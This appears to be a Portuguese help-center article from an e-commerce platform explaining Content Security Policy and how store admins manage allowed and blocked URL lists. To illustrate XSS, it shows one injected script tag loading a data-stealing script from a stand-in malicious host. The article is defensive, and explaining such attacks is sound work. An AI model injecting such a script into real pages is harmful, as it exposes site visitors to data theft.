Content Security Policy (CSP)
Sites e aplicações web são muito susceptíveis a ataques XSS (Cross Site Scripting), esses ataques geralmente são realizados utilizando a injeção de conteúdo nas páginas do site. A injeção desses conteúdos pode ter diversos fins, inclusive o de sequestro de dados. Uma das formas de injeção desses conteúdos, por pessoas maliciosas, pode ser, por exemplo, por meio de códigos JavaScript mascarados, dificultando sua detecção.
Na maioria das vezes, sempre que acessamos um site ele baixa e executa automaticamente os recursos que estiverem declarados na página, pois os mesmos são necessários para o correto funcionamento do site. É aí que o problema se encontra, pois caso o site esteja vulnerável ao ataque XSS, uma pessoa com más intenções pode injetar na página um código JavaScript malicioso, o qual também será baixado e executado pelo navegador junto com os demais recursos.
Por exemplo, poderia ser injetado o seguinte código JavaScript malicioso em uma das páginas do site:
<script src="http://sitemalicioso.com/scriptParaRoubarDados.js"></script>
E caso isso acontecesse, quando qualquer usuário acessasse a página, seu navegador baixaria e executaria esse código JavaScript. O problema é que o navegador não consegue sozinho distinguir quais são os endereços que podem ser considerados seguros ou não para baixar os recursos. Para isso, e a fim de melhorar a segurança contra esses tipos de ataque, a W3C criou a especificação Content Security Policy (Política de Segurança de Conteúdo), também conhecida como CSP. A especificação trata-se de uma camada adicional de segurança que facilita a detecção e inibe certos tipos de ataques, incluindo Cross Site Scripting.
Para utilizar a especificação é preciso fornecer ao navegador, através do header HTTP, uma whitelist contendo domínios e endereços os quais podem ser considerados seguros pelo site, "informando" a ele quais recursos ele poderá baixar e executar.
Agora que você já sabe o que é a especificação CSP e sua função, vamos lhe mostrar como configurar a whitelist para o site dos clientes.
URLs Permitidas
Ao acessar o menu "URLs Permitidas", dentro do menu Políticas de Segurança, você verá os endereços e domínios liberados. Os domínios, já listados, são os básicos necessários para o correto funcionamento dos sites da Wake Commerce, eles foram mapeados por nossa equipe de infra estrutura e engenharia e estarão sempre configurados para todas as lojas, inclusive as recém instanciadas.
Nesta tela, existe a possibilidade de realizar um filtro pelo endereço das urls e domínios, quais estão ativos ou inativos, assim como ativar ou desativar uma configuração já cadastrada. Para a inserção de novas urls, é preciso selecionar o botão + Adicionar novas URL, a partir disso será aberta uma modal na qual deverá ser adicionada a url desejada. Assim que inserida, serão disponibilizadas as opções de inserir à lista somente a url específica do domínio ou todas as urls pertencentes a este domínio. Para finalizar a configuração basta salvar e a url será exibida na lista.
URLs Bloqueadas
A tela "URLs Bloqueadas", exibe para o usuário as urls bloqueadas pelo navegador, devido não estarem presentes na whitelist. No grid são exibidos o domínio bloqueado, url bloqueada, o total de vezes que a url foi bloqueada (conta a cada acesso da página, independente se do mesmo ou de usuários diferentes) e a data e horário da última vez em que a url foi bloqueada.
Caso o usuário identifique que a url bloqueada trata-se de uma url segura, ela poderá ser desbloqueada (adicionada a whitelist, selecionando o botão +. A partir disso, será aberta a mesma modal exibida na página de urls permitidas, porém já com o campo nova url preenchido com a informação que o usuário deseja liberar. Do mesmo modo, serão disponibilizadas as opções de inserir à lista somente a url específica do domínio ou todas as urls pertencentes a este domínio. Para finalizar a configuração basta salvar e a url será exibida na lista.
Atenção: por questões de segurança não permitimos que seja liberado no checkout URL "blob" ou "data".
Informações importantes:
- URLs http permanecem bloqueadas pelo navegador, mesmo que já estejam adicionadas a lista de urls permitidas;
- As alterações e inserções de urls à lista, tem um cache aproximado de 30 minutos para ser refletida no site.
URLs Bloqueadas em outras páginas para lojas Storefront
É possível que para lojas Storefront seja permitido adicionar os headers CSP em outras páginas, além do checkout, fortalecendo assim a segurança contra possíveis ataques. Essa inserção refere-se a uma configuração que pode ser encontrada no menu: Configurações >> Configurações Gerais >> Busque pela configuração: "Adiciona headers CSP em todas as páginas (Storefront)".
Após ativar a configuração, basta clicar no botão Salvar, indexar e limpar o cache no repositório da loja.
Lembrando que: a configuração possui um cache de até 6 horas.
Caso a configuração não esteja ativada, uma mensagem será apresentada no console da loja, informando quais URLs seriam bloqueadas, conforme o exemplo abaixo:
Importante:
Ao ativar a nova configuração, qualquer script externo que não esteja listado nas URLs permitidas no painel administrativo será bloqueado. É importante ressaltar que antes de ativar essa configuração, você deve garantir que as URLs estejam liberadas, conforme detalhado neste artigo. Esta medida é essencial para garantir a segurança e correto funcionamento de sua loja.
Mesmo que a configuração de CSP em todas as páginas esteja desativada, faremos o bloqueio de iframes de origem externa.